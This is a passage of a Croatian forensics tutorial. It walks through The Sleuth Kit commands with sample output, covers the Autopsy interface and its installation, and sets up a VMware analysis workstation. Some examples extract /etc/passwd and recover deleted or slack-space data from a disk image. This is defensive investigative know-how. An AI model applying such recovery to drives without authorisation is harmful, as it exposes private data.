Naredba disk_sreset služi za privremeno resetiranje veličine diska koji sadrži zaštićeni prostor HPA. Nakon što se obavi resetiranje tvrdog diska stanje se vraća u početno (HPA postaje ponovno aktivno). Ove dvije naredbe trenutno su podržane samo na GNU/Linux operacijskim sustavima, i rade na određenim tipovima diskova. Slika 3.4 prikazuje korištenje naredbe disk_stat.

# disk_stat /dev/sda
Maximum Disk Sector: 117231407
Maximum User Sector: 117231407
(Disk does not support HPA)

Slika 3.4. Korištenje naredbe disk_stat

Kao što je vidljivo, tvrdi disk /dev/sda ne podržava HPA. U slučaju kada bi isti podržavao HPA, resetiranje bi se moglo ostvariti naredbom disk_sreset. Nakon resetiranja veličine diska moguće je napraviti forenzičku kopiju.

# disk_sreset /dev/sda

Nakon što je uspješno napravljena forenzička kopija, potrebno je ustanoviti njezin sadržaj. Generalne informacije o kopiji mogu se dobiti korištenjem naredbe img_stat koja će identificirati tip i veličinu kopije. Zastavica -v označava da se radi o ispisu s više detalja. Iz dobivenoga ispisa na slici 3.5 vidljivo je da se radi o sirovoj (raw) kopiji veličine oko 1GB.

# img_stat -v image.sdb
img_open: Type: n/a   NumImg: 1  Img1: image.sdb
Not an AFF/AFD/AFM file
Not an EWF file
IMAGE FILE INFORMATION
--------------------------------------------
Image Type: raw
Size in bytes: 1073741824

Slika 3.5. Korištenje naredbe img_stat

Naredba img_cat ispisuje kompletan sadržaj kopije. Kako je kopija u binarnom obliku, za razumijevanje njezinog sadržaja potrebno je koristiti neki od dodatnih alata (xxd). Dobiveni podaci mogu poslužiti za pretraživanje prema zadanom uzorku i ekstrakciju znakovnih nizova (naredbe grep i strings). Zastavica -i označava tip datoteke image.sdb.Primjer na slici 3.6 prikazuje korištenje naredbe img_cat, čiji se sadržaj preusmjerava na ulaz naredbe strings.

# img_cat -i raw image.sdb | strings
...
GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-95)
...
./grub.conf
...
../boot/grub/grub.conf
...

Slika 3.6. Korištenje naredbe img_cat

Naredbe mmstat i mmls omogućavaju dohvaćanje informacija vezanih za datotečni sustav. Pomoću naredbe mmstat može se ustanoviti tip particija koje se nalaze na forenzičkoj kopiji. Naredba pokušava pročitati particijsku tablicu, te provodi niz testova. Zastavica -v će omogućiti ispis detalja ispitivanja. Slika 3.7 prikazuje primjer korištenja naredbe mmstat.

# mmstat -v image.sdb
Not an AFF/AFD/AFM file
Not an EWF file
dos_load_prim: Table Sector: 0
raw_read_random: byte offset: 0 len: 512
dos_load_prim_table: Testing FAT/NTFS conditions

load_pri:0:0    Start: 32   Size: 1884128  Type: 131
load_pri:0:1    Start: 1884160   Size: 212992  Type: 130
load_pri:0:2    Start: 0   Size: 0  Type: 0
load_pri:0:3    Start: 0   Size: 0  Type: 0
bsd_load_table: Table Sector: 1
raw_read_random: byte offset: 512 len: 512
gpt_load_table: Sector: 0
raw_read_random: byte offset: 0 len: 512
sun_load_table: Trying sector: 0
raw_read_random: byte offset: 0 len: 512
sun_load_table: Trying sector: 1
raw_read_random: byte offset: 512 len: 512
mac_load_table: Sector: 1
raw_read_random: byte offset: 512 len: 512
dos

Slika 3.7. Korištenje naredbe mmstat

Naredba započinje s pretpostavkom da se radi o određenoj particiji, te zatim pokušava dokazati pretpostavku. Ako se izdvoji jedan dio ispisa mogu se pobliže analizirati dobiveni rezultati. Slika    3.8 prikazuje dio ispisa primjera sa slike 3.7.

...
dos_load_prim: Table Sector: 0
raw_read_random: byte offset: 0 len: 512
dos_load_prim_table: Testing FAT/NTFS conditions

load_pri:0:0    Start: 32   Size: 1884128  Type: 131
load_pri:0:1    Start: 1884160   Size: 212992  Type: 130
load_pri:0:2    Start: 0   Size: 0  Type: 0
load_pri:0:3    Start: 0   Size: 0  Type: 0
...

Slika 3.8. Ispis rezultata naredbe mmstat

Iz izdvojenoga ispisa sa slike 3.8 mogu se uočiti dvije stvari. Naredba mmstat pokušava pročitati particijsku tablicu, te nakon toga provodi testove nad pronađenim particijama kako bi odredila njihov tip. U prvom pokušaju naredba pokušava ustanoviti da li se radi od dos tipu particije (GNU/Linux, Windows particije). Kako dos particije imaju particijsku tablicu zapisanu u MBR (Master Boot Record), koji se nalazi u prvih 512 bajta prvog sektora, mmstat pokušava pročitati tih prvih 512 bajta podataka. Nakon uspješnog čitanja, provjerava se tip za svaku particiju koja je zapisana u MBR. Iz ispisa je vidljivo da se radi o dvije particije tipa 131 i 130, što odgovara vrijednosti koda koji obilježava Linux i Linux swap tip particija [30].

Naredba mmls ima ispis sličan naredbi fdisk s time što dodatno prikazuje nealocirani prostor i odmak (start) koji je moguće upotrijebiti za izdvajanje pojedinih particija korištenjem dd alata. Odmake za, razliku od naredbe fdisk, nije potrebno preračunavati. Zastavica -t označava o kojem tipu particija se radi, što je ustanovljeno naredom mmstat. Naredba mmls čita particijsku tablicu i prikazuje njezine relevantne podatke. Vidljivo je da tvrdi disk sadrži dvije particije koje zauzimaju cijeli prostor, te 15 kB nealociranog prostora. Ove informacije mogu se upotrijebiti za izdvajanje particija s forenzičke kopije. Slika 3.9 prikazuje korištenje naredbe mmls.

# mmls -t dos -b image.sdb
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
      Slot    Start        End          Length       Size    Description

00:  -----   0000000000   0000000000   0000000001   0512B   Primary Table (#0)
01:  -----   0000000001   0000000031   0000000031   0015K   Unallocated
02:  00:00   0000000032   0001884159   0001884128   0919M   Linux (0x83)
03:  00:01   0001884160   0002097151   0000212992   0104M   Linux Swap / Solaris x86 (0x82)

# dd if=image.sdb of=linux.partition skip=32 count=1884128 bs=512

Slika 3.9. Korištenje naredbe mmls

Svaki datotečni sustav sadrži informacije koje su karakteristične za njega. Uvid u te informacije omogućava naredba fsstat. Kao ulazne parametre, potrebno je zadati tip datotečnog sustava (zastavica -f), te datoteku koja sadrži particiju koja se želi ispitati. Ako datoteka sadrži više particija, tada je potrebno zadati odmak koji označava početak particije (zastavica -o). Odmak se može ustanoviti korištenjem naredbe mmls (stupac start). Primjer na slici 3.10 prikazuje informacije karakteristične za ext tipove datotečnog sustava (ext2, ext3 tipove) dobivene naredbom fsstat.

# fsstat -f ext -i raw -o 32 image.sdb
...
File System Type: Ext3
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Wed May 16 19:25:38 2003
Last Checked at: Mon Jul 14 22:52:13 2003
Last Mounted at: Sat Aug  9 23:34:26 2003
Read Only Compat Features: Sparse Super,
Journal ID: 00
Journal Inode: 8
METADATA INFORMATION
--------------------------------------------
Inode Range: 1 – 117760
Root Directory: 2
Free Inodes: 87861
CONTENT INFORMATION
--------------------------------------------
Block Range: 0 – 235515
Block Size: 4096
Free Blocks: 155704
BLOCK GROUP INFORMATION
--------------------------------------------
Number of Block Groups: 8
Inodes per group: 14720
Blocks per group: 32768
...

Slika 3.10. Korištenje naredbe fsstat

Datotečni sustav ext3 je koncipiran na principima ext2 datotečnog sustava s jednom razlikom, a to je podrška za dnevnik datotečnog sustava (journaling). Format ext datotečnih sustava može podijeliti u dva dijela [31]. Prvi dio se nalazi na samom početku i predstavlja rezervirani dio za takozvani super blok SB (superblock). Super blok predstavlja podatkovnu strukturu veličine 1kb (početni blok podataka) koja je udaljena 1kb od početka datotečnog sustava. Ostatak datotečnog sustava podijeljen je u grupe blokova koji predstavljaju podatke koji se pohranjuju. Svaka grupa se sastoji od jednakog broja blokova podataka osim zadnje.

Slika 3.11 prikazuje format ext datotečnog sustava.

Text Box: Slika  SEQ "Slika" \*Arabic 3.11. Format ext datotečnog sustava


Super blok sadrži osnovne informacije o datotečnom sustavu, kao što su ukupan broj blokova, veličina bloka, broj blokova u grupi, broj slobodnih blokova, broj inode struktura, broj inode struktura u svakoj grupi, broj slobodnih inode struktura, vremena pristupa i sl. Sve informacije vidljive su iz primjera na slici 3.10. Nakon završetka super bloka, slijedi opisnik grupe blokova (block group information). Bitno je primijetiti da grupe blokova sadrže podatke koji se odnose na super blok i na opisnik grupe blokova. Ti podaci su prisutni iz sigurnosnih razloga, ako bi slučajno došlo do oštećenja glavnih podataka [32]. Ovi podaci su obično prisutni kod svih grupa, osim ako datotečni sustav nema postavljenu opciju sparse super kao što je to u ovom slučaju. Važno je napomenuti da su dobivene informacije karakteristične za datotečni sustav koji se analizira, te je za svaki od njih potrebno proučiti osnovne karakteristike, te način rada [33].

Jedan od vrlo važnih mogućnosti TSK alata je analiza datotečnog sustava na razini kazala i datoteka. Naredba fls upravo omogućava tu funkciju. Naredba podržava uporabu zastavica kojima se može dodatno utjecati na ispis. Zastavica -d omogućava ispis samo obrisanih datoteka, dok zastavica -D ispis samo kazala datotečnog sustava. Ako je poznata meta struktura obrisanoga kazala, moguće je generirati njegov sadržaj tako da se struktura navede kao jedan od  parametara naredbe. Dodatno, naredba može generirati ispis u specijalnom formatu (machine format), koji je pogodan kao ulaz naredbe mactime. Primjer na slici 3.12 prikazuje korištenje naredbe fls za generiranje ispisa u machine formatu.

# fls -r -i raw -f ext -p -o 32 -m / image.sdb
0|/lost+found|0|11|16877|d/drwxr-xr-x|2|0|0|0|16384|1060513323|1058215934|1058215934|4096|0
0|/dev|0|29441|16877|d/drwxr-xr-x|18|0|0|0|77824|1060554736|1060554630|1060554630|4096|0
0|/dev/pts|0|58881|16877|d/drwxr-xr-x|2|0|0|0|4096|1058215935|1058215935|1058215935|4096|0
0|/dev/log|0|35827|49590|s/srw-rw-rw-|1|0|0|0|0|1060547637|1060547637|1060547637|4096|0
0|/dev/null|0|31876|8630|c/crw-rw-rw-|1|0|0|0|0|999203455|999203455|1058216012|4096|0
...

Slika 3.12. Korištenje naredbe fls za dobivanje ispisa u machine formatu

Ako se želi generirati ispis u normalnom formatu, tada je potrebno izostaviti zastavicu -m kao na slici 3.13.

# fls -r -i raw -f ext -p -o 32 image.sdb
d/d 11: lost+found
d/d 29441:      dev
d/d 58881:      dev/pts
s/s 35827:      dev/log
c/c 31876:      dev/null
b/b 30584:      dev/md10
b/b 31666:      dev/md0
r/r 30320:      dev/MAKEDEV
...

Slika 3.13. Korištenje naredbe fls za dobivanje ispisa u normalnom formatu

Zastavica -r naredbe fls omogućava rekurzivan ispis kazala, a zastavica -p ispis apsolutne putanje svake od datoteka. Svaki redak u ispisu sadrži informacije vezane za određenu datoteku. Za svaku datoteku vezana je oznaka x/y koja označava tip datoteke (obrisana, kazalo, obična datoteka i sl.), broj meta strukture, te naziv datoteke s pripadnom putanjom. Ispis u machine formatu nešto je opširniji te sadrži informaciju o pravima pristupa, veličini datoteke, ime vlasnika i sl. Pregledom obrisanih datoteka mogu se prikupiti njihove meta strukture, te je na taj način moguće napraviti njihov oporavak.

Naredba ffind koristi se za pronalaženje datoteka i kazala prema zadanoj meta strukturi (inode) [32].  Zastavicama -a i -d može se redom regulirati ispis za samo obrisane datoteke ili za svako pojavljivanje meta strukture. Slika 3.14 prikazuje korištenje naredbe ffind za inode strukturu 530587.

# ffind -f ext -i raw -o 32 image.sdb 530587
/dev/md5

Slika 3.14. Korištenje naredbe ffind

Osim pregledavanja datotečnog sustava prema nazivima datoteka i kazala, TSK omogućava pregledavanje prema meta podacima koji opisuju datoteke i kazala. Naredba ils omogućava uvid u sve meta strukture datotečnog sustava. Također je moguće precizno specificirati za koje strukture se želi dobiti informacija. Posebno treba naglasiti zastavicu -O koja omogućava ispis obrisanih datoteka koje još uvijek koriste neki aktivni procesi. GNU/Linux operacijski sustavi omogućavaju brisanje datoteka za vrijeme dok su procesi aktivni (procesi koji koriste te datoteke). Kao kod naredbe fls, ispis se može koristiti kao ulaz naredbe mactime. Slika 3.15 prikazuje korištenje naredbe ils.

# ils -f ext -i raw -o 32 -e image.sdb
class|host|device|start_time
ils|anubis||1189777872
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_mode|st_nlink|st_size|st_block0|st_block1
1|a|0|0|1058215934|1058215934|1058215934|0|0|0|0|0
2|a|0|0|1060556044|1060556171|1060556044|40755|18|4096|464|0
3|a|0|0|0|0|0|0|0|0|0|0
...

Slika 3.15. Korištenje naredbe ils

Nakon što je poznata meta struktura datoteke, odnosno njezin broj, moguće je korištenjem naredbe icat kopirati sadržaj datoteke prema zadanoj meta strukturi.

# icat -s -f ext -i raw -o 32 image.sdb 35831

Zastavica -s naredbe icat označava da se želi dohvatiti mrtav prostor (slack space) koji pripada datoteci. Ako se želi napraviti samo uvid u informacije koje sadrži meta struktura, to se može učiniti pomoću naredbe istat kao na slici 3.16.

# istat -f ext -i raw -o 32 image.sdb 35831
inode: 35831
Allocated
Group: 2
Generation Id: 12781
uid / gid: 0 / 0
mode: -rw-r—r--
size: 846
num of links: 1
Inode Times:
Accessed:       Mon Aug 11 05:20:00 2003
File Modified:  Wed Aug  6 20:05:01 2003
Inode Modified: Mon Aug 11 00:32:33 2003
Direct Blocks:
71096 71097 71098 71099 71100 71101 71102 71103
71104 71105 71106 71107 71108 71109 71110 71111
...

Slika 3.16. Korištenje naredbe istat

Iz ispisa sa slike 3.16 može se vidjeti da naredba istat daje ispis blokova na disku (direct blocks) koji pripadaju datoteci. U slučajevima kada su poznati samo blokovi podataka koje neka datoteka zauzima, može se na temelju toga saznati broj njezine meta strukture, te na taj način dohvatiti cijelu datoteku. Ovu funkciju omogućava naredba ifind koja osim navedenoga podržava i pronalaženje meta strukture na temelju naziva datoteke (zastavica -n). Slika 3.17 prikazuje korištenje naredbe ifind za pronalaženje inode strukture prema zadanom bloku podataka.

# ifind -a -f ext -i raw -o 32 -d 71134 image.sdb
35831

# ifind -a -f ext -i raw -o 32 -n "/etc/passwd" image.sdb
35831

Slika 3.17. Korištenje naredbe ifind

TSK sadrži niz alata koji omogućavaju direktno analizu na razini bloka podataka. Alat dls omogućava kopiranje blokova podataka iz zadane particije. Moguće je napraviti kopiranje svih alociranih i nealociranih blokova, ili samo određeni raspon koji se zadaje početnim i završnim blokom. Zastavica -s dodatno omogućava ekstrakciju mrtvog prostora u cijeloj particiji.

# dls -s -f ext -o 32 image.sdb > image.sdb.slack
# dls -A -f ext -o 32 image.sdb > image.sdb.unallocated
# dls -a -f ext -o 32 image.sdb > image.sdb.allocated

Zastavica -e osigurava ponašanje slično kao kod alata dd, odnosno kopiranje svih blokova podataka.

Ako se želi dobiti nešto precizniji ispis podatkovnih blokova potrebno je koristiti naredbu dcat. Naredba dcat ispisuje podatkovne blokove počevši od zadanog početnog bloka. Broj blokova koji se kopira također mora biti zadan. Ova naredba dodatno podržava formatiranje ispisa u ASCII ili heksadecimalnom obliku. Kako bi mogli dohvatiti podatkovne blokove potrebno je ustanoviti koja je najmanja jedinica podataka koju datotečni sustav može pročitati, odnosno zapisati. Ta informacija se može dobiti korištenjem zastavice -s. Sadržaj pet uzastopnih blokova podataka, počevši od bloka 71096 prikazan je u primjeru na slici 3.18.

# dcat -s -f ext -0 32 image.sdb
4096: Size of Addressable Unit

#dcat -a -u 4096 -f ext -o 32 ../image.sdb 71096 5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
...

Slika 3.18. Korištenje naredbe dcat

Alat dcalc služi za mapiranje adresa pronađenih pomoću alata dls, u adrese originalne kopije. O čemu se točno radi može se pogledati na primjeru sa slike 3.19. Pomoću naredbe dls izdvojen je nealocirani prostor datotečnog sustava koji se želi pretražiti. Pretraživanje se izvodi pomoću naredbe grep na prethodno izdvojenim znakovnim nizovima nealociranog prostora. Zastavica -t naredbe strings ispisuje odmak u bajtovima uz svaki znakovni niz (d znači odmak u dekadskom zapisu). Kako bi dobili odgovarajući blok podataka u kojem se pronađeni uzorak nalazi, potrebno je odmak podijeliti s veličinom jednog bloka (668630/4096 = 163). Sadržaj cijelog bloka moguće je dohvatiti pomoću alata dd. Primjer na slici 3.19 prikazuje korištenje alata dcalc, te dohvaćanje zadanih blokova podataka pomoću naredbe dd.

# dls -a -f ext -o 32 image.sdb > image.sdb.unallocated

# strings -t d image.sdb | grep -i "news:x:9:13:news:/var/spool/news:"
656342:news:x:9:13:news:/var/spool/news:
668630:news:x:9:13:news:/var/spool/news:
510563286:news:x:9:13:news:/var/spool/news:

# dd if=image.sdb.unallocated bs=4096 skip=163 count=1

# dcalc -u 163 -i raw -f ext -o 32 image.sdb
16006

Slika 3.19. Korištenje alata dcalc

Alati jls i jcat omogućavaju rad s dnevnicima datotečnih sustava. Dnevnici se koriste kako bi se očuvala konzistentnost datotečnog sustava u slučaju nepravilnog rukovanja (nepravilno gašenje sustava, oporavak od pogreške i sl.). Naredba jls prikazuje zapise dnevnika u jednostavnom obliku. Kao ulazni parametar potrebno je zadati meta strukturu dnevnika ili se uzima podrazumijevana vrijednost za datotečni sustav koji se ispituje. Ispis se sastoji od broja bloka zapisa dnevnika (JBlk) i njegovog opisa. Broj meta strukture može se dobiti iz ispisa naredbe fsstat (primjer na slici 3.10). Primjer na slici 3.20 prikazuje sadržaj dnevnika ext3 datotečnog sustava. Dnevnik se sastoji od četiri podatkovne strukture koje su rezervirane za superblock, revoke, commit i descriptor blokove (na primjeru se vide svi blokovi osim commit bloka). Zapisi svakog bloka su u big-endian formatu [34] i sadrže identifikator i potpis koji je karakterističan za svaku grupu. Superblock dnevnika dolazi u dvije verzije. Prva verzija bilježi promijene na podacima, a druga promijene na meta podacima (meta strukturama) [33].

# jls -f ext -o 32 images.sdb 8
JBlk    Descriptrion
0:      Superblock (seq: 0)
1:      Unallocated Revoke Block (seq: 5893)
2:      Unallocated Descriptor Block (seq: 5893)
3:      Unallocated FS Block 0
4:      Unallocated FS Block 103
5:      Unallocated FS Block 1
6:      Unallocated FS Block 3
7:      Unallocated FS Block 98306
...

Slika 3.20. Korištenje naredbe jls

Uvid u sadržaj svakog bloka moguće je ostvariti naredbom jcat. Kao ulazni parametar potrebno je zadati JBlk vrijednost bloka, te broj meta strukture dnevnika. Rezultat naredbe prosljeđuje se na ulaz alata xxd. Izdvajanjem prvih nekoliko bajta zapisa može se provjeriti o kojem bloku se stvarno radi. Prva tri bajta predstavljaju potpis karakterističan za svaki blok (u ovom slučaju superblock), dok bajtovi 4-7 označavaju tip bloka. Vrijednost četvrtog bajta u primjeru je 4, što je oznaka za superblock verzije 2 [33]. Slika 3.21 prikazuje sadržaj nultog bloka dnevnika datotečnog sustava.

# jcat -f ext -o images.sdb 8 0 | xxd
0000000: c03b 3998 0000 0004 0000 0000 0000 1000  .;9.............
...

Slika 3.21. Korištenje naredbe jcat

Pregledavanje baze sažetaka predstavlja spor i mukotrpan posao. Alat hfind omogućava indeksiranje i pretraživanje baze sažetaka. Bazu je moguće generirati korištenjem md5 sažetaka (md5sum) ili koristiti gotovu bazu NSRL projekta. Nakon što je baza generirana potrebno je napraviti njezino indeksiranje kako bi pretraživanje bilo puno brže. Primjer na slici 3.22 prikazuje proces indeksiranja i pretraživanja md5 baze. Umjesto zastavice -e moguće je koristiti zastavicu -q što kao rezultat daje vrijednost 0 ili 1 (istina ili laž), ovisno da li je sažetak pronađen u bazi ili ne.

# hfind -i md5sum linux-suspended-md5s
Extracting Data from Database (linux-suspended-md5s)
  Valid Database Entries: 16959
  Invalid Database Entries (headers or errors): 0
  Index File Entries (optimized): 16442
Sorting Index (linux-suspended-md5s-md5.idx)

# hfind -e linux-suspended-md5s 4a51ff671301fdbe47be03e194f77a8e
4a51ff671301fdbe47be03e194f77a8e        /dev/MAKEDEV

Slika 3.22. Korištenje naredbe hfind

Sadržaj datotečnog sustava generiran naredbama ils ili fls, uz korištenje zastavice -m, moguće je proslijediti na ulaz naredbe mactime. Ta naredba pokušava rekonstruirati vremenski slijed događaja na temelju prikupljenih informacija. Kao ulazni parametar potrebno je zadati lokaciju datoteke generirane ils ili fls naredbama (zastavica -b). Vrlo praktična je mogućnost formatiranja ispisa po datumima, odnosno moguće je zadati raspon datuma za koji se želi generirati vremenski slijed. Svaki redak ispisa odgovara jednoj datoteci u datotečnom sustavu. Dodatno, svaki redak se sastoji od nekoliko stupaca od kojih svaki sadrži informacije vezane za datum i vrijeme zadnje promjene neke od MAC vremenskih oznaka, broj meta strukture, MAC vremenske oznake (povezano s prvim stupcem), tip datoteke i prava pristupa, GID i ID oznake, veličina datoteke i na kraju apsolutna putanja i ime datoteke. GID i ID oznake predstavljaju identifikator grupe i korisnika koji ima prava na datoteku. Ako su poznate datoteke s popisom grupa i korisnika, moguće ih je navesti korištenjem zastavica -g i -p. U tom slučaju, umjesto brojčanih oznaka biti će prikazani pripadajući nazivi grupe i korisnika datoteke. Slika 3.23 prikazuje korištenje naredbe mactime. Zastavicom -z navedena je vremenska oznaka sustava na kojem je napravljena forenzička kopija.

# mactime -b file_list.sdb1.fls -h -z PST8PDT
The Sleuth Kit mactime Timeline
Input Source: file_list.sdb1.fls
Timezone: PST8PDT
...
Mon Jul 09 2001 05:56:21   519964 m.. -/-rwxr-xr-x 0        0      
44837    /bin/bash
Mon Jul 09 2001 07:17:56   169715 m.. -/-rw-r--r-- 0        0      
45209    /usr/share/doc/openssl-0.9.6b/CHANGES
Mon Jul 09 2001 07:18:05    11025 m.. -/-rw-r--r-- 0        0      
45211    /usr/share/doc/openssl-0.9.6b/INSTALL
                            24795 m.. -/-rw-r--r-- 0        0        45210    /usr/share/doc/openssl-0.9.6b/FAQ
Mon Jul 09 2001 07:18:07     7553 m.. -/-rw-r--r-- 0        0      
45213    /usr/share/doc/openssl-0.9.6b/NEWS
...

Slika 3.23. Korištenje naredbe mactime

Alat sigfind, omogućava pretraživanje zadanog uzorka u datoteci. Uzorak mora biti zadan u heksadecimalnom obliku. Pretraživanje je moguće ostvariti i korištenjem predefiniranih predložaka korištenjem zastavica -t i navođenjem imena predloška. Primjer na slici 3.24 prikazuje pretraživanje po uzorku ext3. Rezultat izvršavanja je redni broj bloka podataka u kojem je uzorak pronađen. Ako je pronađeno više blokova s uzorkom, tada svaki blok dodatno sadrži udaljenost u odnosu na prethodni blok.

# sigfind -t ext3 -o 32 images.sdb
Block size: 512  Offset: 32  Signature: 53EF
Block: 34 (-)
Block: 3810 (+3776)
Block: 3954 (+144)
Block: 4362 (+408)
...

Slika 3.24. Korištenje naredbe sigfind

Grupiranje datoteka po tipu omogućava učinkovitije pretraživanje podataka. Naredba sorter grupira datoteke prema njihovom tipu koristeći pravila zadana konfiguracijskom datotekom. Naredba pretražuje zadanu kopiju i izvršava naredbu file nad svakom pronađenom datotekom. Za svaku datoteku moguće je napraviti usporedbu sažetaka. Usporedba sažetaka ostvaruje se navođenjem baze poznatih datoteka (zastavice -a i -x). Ako se koristi baza NSRL projekta, tada se ona zadaje pomoću zastavice -n. Dodatno, moguće je formatirati ispis u HTML formatu zapisa (zastavica -h). Slijedeći primjer prikazuje izvođenje naredbe sorter:

# sorter -i raw -f ext3 -o 32 -x image.sdb

Ako se ne navede konfiguracijska datoteka, tada se koristi podrazumijevana (default.sort). Osim podrazumijevane moguće je zadati i dodatnu konfiguracijsku datoteku korištenjem zastavice -c te naziva datoteke. U slučaju da se želi koristiti samo jedna konfiguracijska datoteka potrebno je koristiti zastavicu -C. Konfiguracijska datoteka je tekstualnoga formata i sadrži pravila prema kojima se ostvaruje kategorizacija. Sva pravila zadaju se u sljedećem obliku.

tip_pravila   naziv   Perl_regularni_izraz

Tip pravila je category i ext. Redom, tip označava da li se radi o pravilu koje definira kategoriju (tekst, slika) ili ekstenziju (exe, js, jpg,...) datoteke. Naziv označava ime koje će se koristiti za kategoriju ili nazive ekstenzija datoteke (više ekstenzija odvaja se zarezom). Regularni izraz mora biti u Perl formatu i omogućava prepoznavanje datoteka, odnosno parsiranje izlaza naredbe file. Slijedeći primjer prikazuje primjere pravila koji se mogu koristiti.

ext  c,cpp,h,js  ASCII(.*?)text
category  images  image data

 3.2.2.                   Grafičko sučelje Autopsy

Grafičko sučelje Autopsy ima istu funkciju kao grafičko sučelje forenzičkog alata PyFlag. Cijela funkcionalnost je implementirana u TSK alatu koji se koristi u pozadini. Sam alat je zamišljen kao web aplikacija. Upravo to omogućava pokretanje alata na poslužitelju i više korisnički rad korištenjem web preglednika. Osim TSK alata, Autopy koristi standardne GNU/Linux alate strings, file i grep.

Za svaki slučaj koji se analizira potrebno je stvoriti instancu slučaja (case) koja osigurava integritet podataka. Svaka instanca može imati jednog ili više korisnika koji su zaduženi za forenzičku analizu. Nakon što je instanca uspješno stvorena, potrebno je učitati podatke koji se analiziraju. Podaci koji se učitavaju predstavljaju izrađene forenzičke kopije. Ovdje je bitno naglasiti da jedna instanca može imati više različitih entiteta (računalnih sustava) koji predstavljaju jedan slučaj. Ta funkcionalnost je omogućena kroz dodavanje domaćina (host) koji predstavljaju entitete.

Slika 3.25 prikazuje glavni prozor odabrane instance slučaja i pripadnoga entiteta. U gornjem lijevom kutu može se uočiti naziv odabrane instance i entiteta. Središnji dio rezerviran je za prikaz detalja forenzičke kopije.

Text Box: Slika  SEQ "Slika" \*Arabic 3.25.Prozor odabrane instance slučaja.
Ovdje se može uočiti još jedna prednost alata, a to je da na različitim entitetima može raditi istovremeno više korisnika. Autopsy osim funkcionalnosti implementirane u TSK alatu, omogućava i dodatnu funkcionalnost korištenjem prethodno spomenutih alata grep i strings. Navedeni alati služe za ekstrakciju niza znakova iz alociranog i nealociranog prostora, te njihovo pretraživanje prema zadanom uzorku. Ekstrakcija znakovnih nizova nije nužna za pretraživanje ali znatno ubrzava postupak.

Alat omogućava automatsku izradu izvještaja za svaki pregledani podatak (datoteka ili bilo koja podatkovna struktura). Korisnik koji obavlja analizu može unositi vlastite bilješke za analizirane podatke. Sve radnje koje se obavljaju bilježe se u odgovarajuće datoteke koje su smještene unutar kazala instance slučaja (kazalo logs).

Tijekom analize slučaja moguće je voditi evidenciju o događajima (event sequencer). Za svaki događaj može se navesti vrijeme i datum kada je nastupio, te razlog zbog kojega je nastao. Autopsy automatski sortira događaje po datumu i vremenu i na taj način omogućava rekonstrukciju tijeka događanja.

 3.2.3.                   Instalacija

Forenzički alat The Sleuth kit moguće je preuzeti s Internet adrese http://www.sleuthkit.org. Nakon što je preuzeta odgovarajuća verzija alata, instalacija se ostvaruje u nekoliko koraka.

$ tar xvzf sleuthkit-{VERZIJA}.tar.gz
$ cd sleuthkit-{VERZIJA}
$ make

Instalacija podrazumijeva da se na sustavu nalaze odgovarajuće OpenSSL biblioteke (http://www.openssl.org). Nakon uspješne instalacije svi alati se nalaze unutar kazala sleuthkit-{VERZIJA}/bin.

Autopsy grafičko sučelje potrebno je instalirati tek nakon uspješne instalacije TSK alata. Instalacija se ostvaruje na isti način kao i TSK alat. Prilikom instalacije potrebno je navesti putanju do strings i grep alata koje autopsy koristi.

$ tar xvzf autopsy-{VERZIJA}.tar.gz
$ cd autopsy-{VERZIJA}
$ make

 4.        Pripreme za analizu slučaja

Kako bi se mogla ostvariti forenzička analiza odabranih slučajeva potrebno je pripremiti radnu okolinu. Radna okolina se sastoji od računala s operacijskim sustavom na kojem su instalirani odgovarajući alati potrebni za forenzičku analizu (forensic system). Osim operacijskog sustava, radna okolina mora imati odgovarajuće spremnike podataka koji će služiti za pohranu prikupljenih dokaza. Forenzički sustav će poslužiti za pohranu, očuvanje i analizu podataka.

Za potrebe ove analize koristi se virtualno računalo unutar Vmware poslužitelja. Kao operacijski sustav virtualnog računala odabrana je Ubuntu Feisty Fawn server (GNU/Linux) distribucija. Alati koji će se koristi za forenzičku analizu su PyFlag i SleuthKit s Autopsy grafičkim sučeljem.

 4.1.                        Podešavanje radne okoline za forenzičku analizu

Korištenje virtualnog računala omogućava da se na vrlo jednostavan način pripremi radna okolina (forenzički sustav) potrebna za analizu slučaja.

Vmware poslužitelj moguće je preuzeti s Internet adrese http://www.vmware.com. U ovom slučaju koristiti će se Linux verziju alata. Nakon preuzimanja odgovarajuće verzije, prelazi se na instalaciju izvršavanjem slijedećih naredbi:

$ tar xvzf Vmware-server-1.0.3-44356.tar.gz
$ cd vmware-server-distrib/
$ sudo./vmware-install.pl

Nakon što završi instalacija potrebno je pokrenuti vmvare skriptu koja će napraviti potrebne korake za podešavanje vmware poslužitelja.

$ sudo vmware-config.pl

Ako je podešavanje proteklo uspješno, može se pokrenuti vmware poslužitelj.

$ vmware

Prilikom svakog pokretanja alata potrebno je odabrati lokaciju na kojoj se nalazi vmware poslužitelj. Prvi izbornik koji se prikazuje nakon svakog pokretanja prikazan je na slici 4.1, a omogućava povezivanje na poslužitelj koji se može nalaziti na lokalnom računalu ili pak na nekom drugom, udaljenom računalu. U ovom slučaju poslužitelj je instaliran na lokalnom računalu, te je potrebno odabrati spajanje na lokalno računalo.

Text Box: Slika  SEQ "Slika" \*Arabic 4.1. Vmware konzola za povezivanje na poslužitelj
Nakon uspješnog povezivanja na poslužitelj iz izbornika File-New-Virtual_Machine( Ctrl+N ) pokrenut je čarobnjak koji predvodi postupak stvaranja novog virtualnog računala. Sam postupak stvaranja novog virtualnog računala sastoji se od nekoliko koraka.

Text Box: Slika  SEQ "Slika" \*Arabic 4.2. Odabir tipa konfiguracija virtualnog računala
U prvom koraku, kao što je prikazano na slici 4.2, odabran je Custom tip podešavanja.

